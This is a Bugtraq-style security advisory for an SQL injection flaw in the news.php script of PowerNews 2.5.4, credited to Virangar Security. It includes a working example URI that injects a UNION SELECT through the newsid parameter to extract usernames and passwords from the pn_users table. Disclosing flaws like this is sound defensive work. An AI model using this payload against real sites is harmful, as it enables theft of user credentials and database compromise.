PowerNews 'news.php' SQL Injection Vulnerability

Bugtraq ID:	33081
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 01 2009 12:00AM
Updated:	Jan 05 2009 05:42PM
Credit:	Virangar Security
Vulnerable:	PowerNews PowerNews 2.5.4
Not Vulnerable:

PowerNews 'news.php' SQL Injection Vulnerability

PowerNews is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PowerNews 2.5.4 is vulnerable; other versions may also be affected.

PowerNews 'news.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/news.php?newsid='/**/union/**/select/**/1,2,3,4,concat(nickname,0x3e,password),6,7,8,9/**/from/**/pn_users/*

PowerNews 'news.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PowerNews 'news.php' SQL Injection Vulnerability

References:

• PowerNews 2.5.4 SQL Injection Vulnerability (Virangar Security Team )